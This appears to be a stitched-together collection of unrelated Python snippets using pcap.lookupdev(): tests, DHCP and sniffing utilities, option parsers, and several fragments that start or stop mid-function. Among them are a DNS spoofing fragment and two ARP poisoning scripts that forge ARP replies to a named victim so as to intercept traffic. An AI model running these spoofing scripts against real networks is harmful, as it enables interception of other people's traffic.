def test_lookupdev(self): try: pcap.lookupdev() except OSError: py.test.raises(UMPASniffingException, pypcap.lookupdev) else: assert pypcap.lookupdev() == pcap.lookupdev()
def test_lookupdev_findall(self): # current pypcap shows diffent names for findalldevs() and lookupdev() # under windows, so skip it if sys.platform.find('win') != -1: py.test.skip("not supported by windows") assert pcap.lookupdev() in pcap.findalldevs()
def set_host_info(): global device device = pcap.lookupdev() """ Since socket.gethostbyname(socket.gethostname()) returns 127.0.0.1 we have to find another way of getting our own ip a) parse form the command 'ip addr' or b) connect to a server and retrieve it using getsocketname() """ """ # runs the shell-cmd 'ip addr' to retrieve the ip p = subprocess.Popen(['ip', 'addr'], stdout = subprocess.PIPE, stderr = subprocess.PIPE) output, errors = p.communicate() # regex to match the ip of the host IP_RE = re.compile(r"(?<="+device+":)(?:.*inet\s)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", re.DOTALL) # retrieve and set the ip of the host match_ip = re.search(IP_RE, output) if match_ip: global src_ip src_ip = match_ip.group(1) else: print "Error parsing the host ip form 'ip addr'" sys.exit() """ # connect to a server and retrieve your own ip global src_ip s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(('google.com', 0)) src_ip = s.getsockname()[0]
def issueRequest(serverip, serverport, timeout, req): global break_wait global res # Reset the global vars we will use here break_wait = 0 res = None client = DhcpClient(client_listen_port=67, server_listen_port=serverport) client.dhcp_socket.settimeout(timeout) if serverip == '0.0.0.0': req.SetOption('flags',[128, 0]) req_type = req.GetOption('dhcp_message_type')[0] pcap_obj = pcap.pcapObject() dev = pcap.lookupdev() pcap_obj.open_live(dev, 1600, 0, 100) pcap_obj.setfilter("udp port 67", 0, 0) sent = 0 while break_wait < 1: if(sent < 1): sent = 1 client.SendDhcpPacketTo(req,serverip,serverport) if req_type == 3 or req_type == 7: return pcap_obj.dispatch(1, get_packet) return res
def issueRequest(serverip, serverport, timeout, req): global break_wait global res # Reset the global vars we will use here break_wait = 0 res = None client = DhcpClient(client_listen_port=67, server_listen_port=serverport) client.dhcp_socket.settimeout(timeout) if serverip == '0.0.0.0': req.SetOption('flags', [128, 0]) req_type = req.GetOption('dhcp_message_type')[0] pcap_obj = pcap.pcapObject() dev = pcap.lookupdev() pcap_obj.open_live(dev, 1600, 0, 100) pcap_obj.setfilter("udp port 67", 0, 0) sent = 0 while break_wait < 1: if (sent < 1): sent = 1 client.SendDhcpPacketTo(req, serverip, serverport) if req_type == 3 or req_type == 7: return pcap_obj.dispatch(1, get_packet) return res
def test_openlive(self): try: obj = pypcap.open_pcap() assert obj.device == pcap.lookupdev() obj = pypcap.open_pcap(device="any") # XXX can we use 'any'? assert obj.device == "any" except UMPASniffingException: py.test.skip("no suitable devices for sniffing found. " "propably not sufficent priviliges.")
def __init__(self): base.OptionGroup.__init__(self) try: iface = pcap.lookupdev() except OSException: iface = None # Add arguments to parse self.add_arg( "-i", "--interface", help="Use <iface> as our network interface [default: %s]" % cstr.CStr(iface).yellow, dest="core.iface", metavar="<iface>", default=iface) self.add_arg( "-m", "--change-mac", help= "Change the interface mac address for <mac> before starting the attack", dest="core.use_mac", metavar="<mac>") self.add_arg("-g", "--gateway", help="Use <gateway> as the network gateway address", dest="core.gateway", metavar="<gateway>") #self.add_arg("--log-file", metavar="<logfile>", nargs="?", dest="core.log_file", #help="Log the messages in <logfile> [default: %s]"%cstr.CStr(self.default_log).yellow, # const=self.default_log) #self.add_arg("-D", "--debug", help="Print debug messages (will enable logging)", dest="core.debug", action="store_const", # const=True, default=False) self.add_arg("--no-colors", help="Disable colored output", dest="core.color", action="store_const", const=False, default=True) # Version and help self.add_arg("-v", "--version", action="version", version="%s" % VERSION, help="Show program's version number and exit") self.add_arg("-h", "--help", action="help", help="Show this message and exit")
def test_unicode(): path = relative_file('test.pcap') p = pcap.pcap(path) assert isinstance(p.name, str) f = 'icmp[icmptype] != icmp-echo' p.setfilter(f) assert isinstance(p.filter, str) devs = pcap.findalldevs() for name in devs: assert isinstance(name, str) try: isinstance(pcap.lookupdev(), str) except OSError: # skip if no devices are detected pass
def main(): name = pcap.lookupdev() try: pc = pcap.pcap(name) except: print pc.geterr() try: print 'listening on %s' % (pc.name) for ts, pkt in pc: eth = dpkt.ethernet.Ethernet(pkt) ip_hdr = eth.data if eth.type != dpkt.ethernet.ETH_TYPE_ARP: continue if binascii.hexlify(eth.src) == cottonelle: subprocess.call("/usr/local/bin/stopsim", shell=True) except Exception as e: print e, pc.geterr()
def find_main_nic_dev(self): try: nic_dev = pcap.lookupdev() except: nic_devs = self.find_all_nic_devs() if len(nic_devs) < 1: print("no network card") return print("My Network Card List") for i in range(len(nic_devs)): print(i, ":", nic_devs[i]) my_dev_index = int(input("Select Your Network Card : \n")) nic_dev = nic_devs[my_dev_index] print("My Network Card Names : ", nic_dev) return nic_dev
def get_working_if(): try: return pcap.lookupdev() except Exception: return LOOPBACK_NAME
def getDev(self): return pcap.lookupdev()
import pcap, dpkt from construct.protocols.ipstack import ip_stack def print_packet(pkt_len, data, time_stamp): if not data: return else : packet = ip_stack.parse(data) print packet p = pcap.pcapObject() dev = pcap.lookupdev() p.open_live('wlan0', 1600, 0, 100) try: while 1: p.dispatch(1, print_packet) except KeyboardInterrupt: print 'shutting down'
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to)) elif pkt.haslayer(TCP): spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[TCP].sport, sport=pkt[TCP].dport)/\ DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \ an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to)) else: return send(spoofed_pkt) if __name__ == '__main__': mapping = {} parser = OptionParser() parser.set_conflict_handler("resolve") parser.add_option('-i', dest="interface", default=pcap.lookupdev()) parser.add_option('-h', dest="hostsmap") (options, remainder) = parser.parse_args() expression = remainder if len(expression) > 0: exp = expression[0] else: exp = "" if options.hostsmap == None: redirect_to = get_ip(options.interface) else: redirect_to = "" file = open(options.hostsmap, "r") for line in file:
time_end = now() if __name__ == '__main__': args = parseArgs() print "device_sniffer\nv%s by ephracis\n" % version p = pcap.pcapObject() # get what type of device to look for if args.types == 'scanning': types['connected'] = 0 elif args.types == 'connected': types['scanning'] = 0 # get interface inf = pcap.lookupdev() if args.inf: inf = args.inf print "sniffing on interface: %s" % inf # get properties of interface mac = get_mac_address(inf) if args.verbosity > 1: print "this device's mac address: {}".format(mac) filtered_addresses.append(mac) # set monitor mode #try: #p.set_rfmon() #except: # print "warning: could not enter monitor mode"
import pcap from binascii import hexlify, unhexlify from protocols import ethernet, ip, tcp import protocols sniff_interface = pcap.lookupdev() #ssl_bpf = pcap.bpf('port 443') p = pcap.pcap(sniff_interface) #p.setfilter(ssl_bpf) p.setnonblock() eth = ethernet() ipt = ip() tcpt = tcp() recvd = 0 for tm, pkt in p: if recvd == 100: break ethprot = protocols.quickEthernetProto(pkt[:14]) if ethprot != 0x0800: continue ihl = protocols.quickIPhlen(pkt[14:]) * 4 pktlen = protocols.quickIPpktlen(pkt[14:]) - ihl ipproto = protocols.quickIPProto(pkt[14:]) ipend = 14 + ihl if ipproto != 6: continue tcpsource = protocols.quickTCPSourcePort(pkt[ipend:]) tcpdest = protocols.quickTCPDestPort(pkt[ipend:]) if tcpsource != 25565 and tcpdest != 25565: continue
import sys import pcap from unidecode import unidecode print("interface:", pcap.lookupdev()) pcap = pcap.pcap() pcap.setfilter("tcp and not port 22") import dpkt for t, p in pcap: d = dpkt.ethernet.Ethernet(p) d = d.data.data.data print(p) encode = "U F-8" #if d.decode(encode).startswith("GE ") or d.decode(encode).startswith("POS ") or d.decode(encode).startswith("CONNEC "): #print(d.decode("latin1").split("\n")[1].split(":")[1].strip())
def lookupdev(): try: result = pcap.lookupdev() except OSError, msg: raise UMPASniffingException(msg)
arp.tha = eth_aton("00:00:00:00:00:00") # Target protocol address: arp.tpa = socket.inet_aton(address) # Request to resolve ha given pa arp.op = dpkt.arp.ARP_OP_REQUEST eth = dpkt.ethernet.Ethernet() eth.src = arp.sha # Broadcast ARP request eth.dst = eth_aton(ETH_BROADCAST) eth.data = arp eth.type = dpkt.ethernet.ETH_TYPE_ARP print "ACTIVE: Sent ARP to {}".format(address) return pcap.sendpacket(str(eth)) # TODO: Make interface(s) configurable print pcap.findalldevs() interface = pcap.lookupdev() local_net, local_mask = pcap.lookupnet(interface) print "Listening on {}: {}/{}".format(interface, socket.inet_ntoa(local_net), socket.inet_ntoa(local_mask)) listener = Sniffer() listener.daemon = True listener.start() pinger = Pinger() pinger.daemon = True pinger.start()
def check_argv(argv): """check_agrv(argv) -- (options,arguments) parse command line arguments and options. return the arguments as string and an options object with switches. """ # create parser optpar = OptionParser() # add options optpar.add_option(\ '-r','--ifile',dest='ifile',\ default='',\ help='pcap input file\ndefault: ""') optpar.add_option(\ '-R','--ipath',dest='ipath',\ default='',\ help='process multiple files int path R\ndefault: ""') optpar.add_option(\ '-l','--ilist',dest='ilist',\ default='',\ help='process files from list l\ndefault: ""') optpar.add_option(\ '-i','--iface',dest='dev',\ default=pcap.lookupdev(),\ help='listen interface. default: pcap_lookupdev()') optpar.add_option('-s','--snaplen',type='int',dest='snaplen',\ default=1600,\ help='snaplen, how many bytes to capture for each packet. default: 1600') optpar.add_option('-p','--promisc',dest='promisc',\ action="store_false",default=True,\ help='dont put interface into promiscuous mode') optpar.add_option('-v',dest='v',type='int',\ default=1,\ help='verbosity, 0 for number of packets, 1 for packets, 2 for packets and hexdump. default: 1') optpar.add_option('-m','--toms',type='int',dest='to_ms',\ default=100,\ help='to ms, read timeout in milliseconds. default: 100') optpar.add_option('-w','--ofile',dest='ofile',\ default='',\ help='pcap output file\ndefault: ""') optpar.add_option('-A','',type='int',dest='A',\ default=30,\ help='aging, at which intervals the flow table performs aging. default: 30') optpar.add_option('-P','',type='int',dest='P',\ default=30,\ help='packet threshold, how many packets are allowed in a P2P UDP flow. default: 30') optpar.add_option('-B','',type='int',dest='B',\ default=30000,\ help='byte threshold, how many bytes are allowed in a P2P UDP flow. default: 30000') optpar.add_option('','--short',type='int',dest='short',\ default=5,\ help='short delta, how many seconds is an uncertain flow kept for identification. default: 5') optpar.add_option('','--long',type='int',dest='long',\ default=600,\ help='long delta, how many seconds is a certain flow kept for identification. default: 600') optpar.add_option('-f','--vfile',dest='vfile',\ default='',\ help='openDPI verification file') optpar.add_option('-F','--nfile',dest='nfile',\ default='',\ help='host verification file') optpar.add_option('-o','--dumpfile',dest='dumpfile',\ default='',\ help='flow serialization file') # perform parsing opts, args = optpar.parse_args(argv) return opts, args
def main(): global my_mac, victim_ip, victim_mac, gateway_ip, gateway_mac if len(sys.argv) not in (2, 3): print 'Usage: python arp_poison.py victim_ip [interface_name]' exit(1) gateways = netifaces.gateways() interface_name = pcap.lookupdev() addresses = netifaces.ifaddresses(interface_name) my_mac = MacAddress(addresses[netifaces.AF_LINK][0]['addr']) my_ip = IPv4Address(addresses[netifaces.AF_INET][0]['addr']) if len(sys.argv) == 2: try: gateway_ip = IPv4Address(gateways[netifaces.AF_INET][0][0]) except KeyError: print 'No internet gateway detected.' exit(1) else: for address, interface, is_default in gateways[netifaces.AF_INET]: if interface == sys.argv[2]: gateway_ip = address break else: print 'There is no interface named {}'.format(sys.argv[2]) exit(1) victim_ip = IPv4Address(sys.argv[1]) print print 'my mac: {}'.format(my_mac.in_string) print 'my ip : {}'.format(my_ip.in_string) print 'gateway ip : {}'.format(gateway_ip.in_string) print 'victim ip : {}'.format(victim_ip.in_string) pcap_handle = pcap.pcap(timeout_ms=0) pcap_handle.setfilter('arp') # ask gateway its mac address asking_arp = normal_request_arp(my_mac, my_ip, gateway_ip) pcap_handle.sendpacket(asking_arp.as_bytes()) print '[<+] Sent gateway({}) an ARP request'.format(gateway_ip.in_string) for capture in pcap_handle: if capture is None: continue time_stamp, packet = capture arp = ARP(packet) if arp.operation == ARP.OP_REPLY and arp.sender_protocol_address == gateway_ip: gateway_mac = arp.sender_hardware_address print "[>+] gateway replied its mac is '{}'".format(gateway_mac.in_string) break else: raise RuntimeError('Packet capture ended unexpectedly.') # ask victim his mac address asking_arp = normal_request_arp(my_mac, my_ip, victim_ip) pcap_handle.sendpacket(asking_arp.as_bytes()) print '[<+] Sent victim({}) an ARP request'.format(victim_ip.in_string) # wait for victim's response for capture in pcap_handle: if capture is None: continue time_stamp, packet = capture arp = ARP(packet) if arp.operation == ARP.OP_REPLY and arp.sender_protocol_address == victim_ip: victim_mac = arp.sender_hardware_address print "[>+] victim replied his mac is '{}'".format(victim_mac.in_string) break else: raise RuntimeError('Packet capture ended unexpectedly.') # attack packet infection_reply = normal_reply_arp(my_mac, gateway_ip, victim_mac, victim_ip) infection_request = normal_request_arp(my_mac, gateway_ip, my_ip) replier = threading.Thread(target=reply_to_request, args=(infection_reply,)) periodical = threading.Thread(target=send_periodically, args=(infection_reply,)) gateway_follower = threading.Thread(target=follow_request_of_gateway, args=(infection_request,)) replier.start() periodical.start() gateway_follower.start() relay_ip()
def get_host_by_name(name): """ 只解析第一个 IP,也可以像 downloader 那样解析多个 """ from socket import gethostbyname return gethostbyname(name) if __name__ == "__main__": import sys if len(sys.argv) < 2: print("请输入目标 IP 地址") exit(1) ifname = pcap.lookupdev() # 自动取第1个活跃的网卡 en0 local_mac, local_ip = get_local_addr(ifname) dst_ip = get_host_by_name(sys.argv[1]) if dst_ip: print("解析 %s 的 IP 地址: %s 成功" % (sys.argv[1], dst_ip)) else: print("解析 %s 的 IP 地址失败" % sys.argv[1]) exit(1) if local_mac and local_ip: print("获取本地网卡: %s 的 MAC: %s 和 IP: %s 成功" % (ifname, local_mac, local_ip)) else: print("获取本地网卡 %s 的 MAC 和 IP 失败" % ifname) exit(1)
def check_argv(argv): """check_agrv(argv) -- (options,arguments) parse command line arguments and options. return the arguments as string and an options object with switches. """ # create parser optpar = OptionParser() # add options optpar.add_option(\ '-r','--ifile',dest='ifile',\ default='',\ help='pcap input file\ndefault: ""') optpar.add_option(\ '-R','--ipath',dest='ipath',\ default='',\ help='process multiple files int path R\ndefault: ""') optpar.add_option(\ '-l','--ilist',dest='ilist',\ default='',\ help='process files from list l\ndefault: ""') optpar.add_option(\ '-i','--iface',dest='dev',\ default=pcap.lookupdev(),\ help='listen interface. default: pcap_lookupdev()') optpar.add_option('-s','--snaplen',type='int',dest='snaplen',\ default=1600,\ help='snaplen, how many bytes to capture for each packet. default: 1600') optpar.add_option('-p','--promisc',dest='promisc',\ action="store_false",default=True,\ help='dont put interface into promiscuous mode') optpar.add_option('-v',dest='v',type='int',\ default=1,\ help='verbosity, 0 for number of packets, 1 for packets, 2 for packets and hexdump. default: 1') optpar.add_option('-m','--toms',type='int',dest='to_ms',\ default=100,\ help='to ms, read timeout in milliseconds. default: 100') optpar.add_option('-w','--ofile',dest='ofile',\ default='',\ help='pcap output file\ndefault: ""') optpar.add_option('-A','',type='int',dest='A',\ default=30,\ help='aging, at which intervals the flow table performs aging. default: 30') optpar.add_option('-P','',type='int',dest='P',\ default=30,\ help='packet threshold, how many packets are allowed in a P2P UDP flow. default: 30') optpar.add_option('-B','',type='int',dest='B',\ default=30000,\ help='byte threshold, how many bytes are allowed in a P2P UDP flow. default: 30000') optpar.add_option('','--short',type='int',dest='short',\ default=5,\ help='short delta, how many seconds is an uncertain flow kept for identification. default: 5') optpar.add_option('','--long',type='int',dest='long',\ default=600,\ help='long delta, how many seconds is a certain flow kept for identification. default: 600') optpar.add_option('-f','--vfile',dest='vfile',\ default='',\ help='openDPI verification file') optpar.add_option('-F','--nfile',dest='nfile',\ default='',\ help='host verification file') optpar.add_option('-o','--dumpfile',dest='dumpfile',\ default='',\ help='flow serialization file') # perform parsing opts,args = optpar.parse_args(argv) return opts,args
import pcap, dpkt from construct.protocols.ipstack import ip_stack def print_packet(pkt_len, data, time_stamp): if not data: return else: packet = ip_stack.parse(data) print packet p = pcap.pcapObject() dev = pcap.lookupdev() p.open_live('wlan0', 1600, 0, 100) try: while 1: p.dispatch(1, print_packet) except KeyboardInterrupt: print 'shutting down'
def __init__(self,tgt): self.tgt=tgt self.dev=pcap.lookupdev()
def main(): if len(sys.argv) != 2: print 'Usage: python send_arp.py <victim ip>' exit(1) device_name = pcap.lookupdev() addresses = netifaces.ifaddresses(device_name) my_mac = addresses[netifaces.AF_LINK][0]['addr'] my_mac_bytes = my_mac.replace(':', '').decode('hex') my_ip = addresses[netifaces.AF_INET][0]['addr'] my_ip_bytes = ipaddress.ip_address(my_ip.decode('ascii')).packed recipient_ip = netifaces.gateways()['default'][netifaces.AF_INET][0].decode('ascii') victim_ip = sys.argv[1].decode('ascii') print victim_ip_bytes = ipaddress.ip_address(victim_ip).packed recipient_ip_bytes = ipaddress.ip_address(recipient_ip).packed # ask victim his mac address asking_arp = ARP() asking_arp.ethernet.destination_mac = Ethernet.BROADCAST asking_arp.ethernet.source_mac = my_mac_bytes asking_arp.ethernet.type = Ethernet.ETHERTYPE_ARP asking_arp.hardware_type = ARP.HARDWARE_ETHERNET asking_arp.protocol_type = ARP.PROTO_IPv4 asking_arp.hardware_size = MAC_ADDRESS_LENGHT asking_arp.protocol_size = IPV4_ADDRESS_LENGTH asking_arp.operation = ARP.OP_REQUEST asking_arp.sender_hardware_address = my_mac_bytes asking_arp.sender_protocol_address = my_ip_bytes asking_arp.target_hardware_address = '000000000000'.decode('hex') asking_arp.target_protocol_address = victim_ip_bytes pcap_handle = pcap.pcap(timeout_ms=0) pcap_handle.setfilter('arp') asking_arp.send(pcap_handle) print '[<+] Sent victim({0}) a ARP request'.format(victim_ip) # wait for victim's response for capture in pcap_handle: if capture is None: continue time_stamp, packet = capture arp = ARP(packet) if arp.operation != ARP.OP_REPLY: continue if arp.sender_protocol_address != victim_ip_bytes: continue victim_mac_bytes = arp.sender_hardware_address print "[>+] victim replied his mac is '{0}'".format(victim_mac_bytes.encode('hex')) break else: raise RuntimeError('Packet capture ended unexpectedly.') # attack packet spoofed_arp = ARP() spoofed_arp.ethernet.destination_mac = victim_mac_bytes spoofed_arp.ethernet.source_mac = my_mac_bytes spoofed_arp.ethernet.type = Ethernet.ETHERTYPE_ARP spoofed_arp.hardware_type = ARP.HARDWARE_ETHERNET spoofed_arp.protocol_type = ARP.PROTO_IPv4 spoofed_arp.hardware_size = MAC_ADDRESS_LENGHT spoofed_arp.protocol_size = IPV4_ADDRESS_LENGTH spoofed_arp.operation = ARP.OP_REPLY spoofed_arp.sender_hardware_address = my_mac_bytes spoofed_arp.sender_protocol_address = recipient_ip_bytes spoofed_arp.target_hardware_address = victim_mac_bytes spoofed_arp.target_protocol_address = victim_ip_bytes # bomb initial attack packets. for i in xrange(20): spoofed_arp.send(pcap_handle) print '[<+] Sent victim attack packet ({0})'.format(i) # additionally, grab victim's ARP request and send attack packet pcap_handle = pcap.pcap(timeout_ms=1000) pcap_handle.setfilter('arp') for capture in pcap_handle: if capture is None: continue time_stamp, packet = capture arp = ARP(packet) if arp.operation != ARP.OP_REQUEST: continue if arp.sender_protocol_address != victim_ip_bytes: continue if arp.sender_hardware_address != victim_mac_bytes: continue if arp.target_protocol_address != recipient_ip_bytes: continue print "[>+] Victim sent ARP request for ip '{0}'".format(recipient_ip) for i in xrange(3): spoofed_arp.send(pcap_handle) print '[<+] Sent victim attack packet ({0})'.format(i)
# -*- coding: UTF-8 -*- import pcap import dpkt from dpkt import Error from datetime import * #列出所有网卡 EthList = pcap.lookupdev() print EthList #打开网卡 pc=pcap.pcap("eth1") #设置监听过滤器 pc.setfilter('tcp port 80') nrecv,ndrop,nifdrop=pc.stats() d = {} #hash字典 for time,packet in pc: #ptime为收到时间,pdata为收到数据 #print "时间 :" , datetime.fromtimestamp(ptime) ethernet_packe = dpkt.ethernet.Ethernet(packet) #解析以太网包 第一层结构 #以太网包属性 源MAC.dst 目标MAC.src 下层协议类型.type(IP 0x0800) if ethernet_packe.data.__class__.__name__ == "IP": ip_packet = ethernet_packe.data #这是一个IP包 第二层结构 #IP包属性 版本、头长.v_hl 区分服务.tos 长度.len # Identification.id Fragment offset.off Time to live.ttl # 下层协议.p(6 TCO) 校验和.sum 源ip.src 目的ip.dst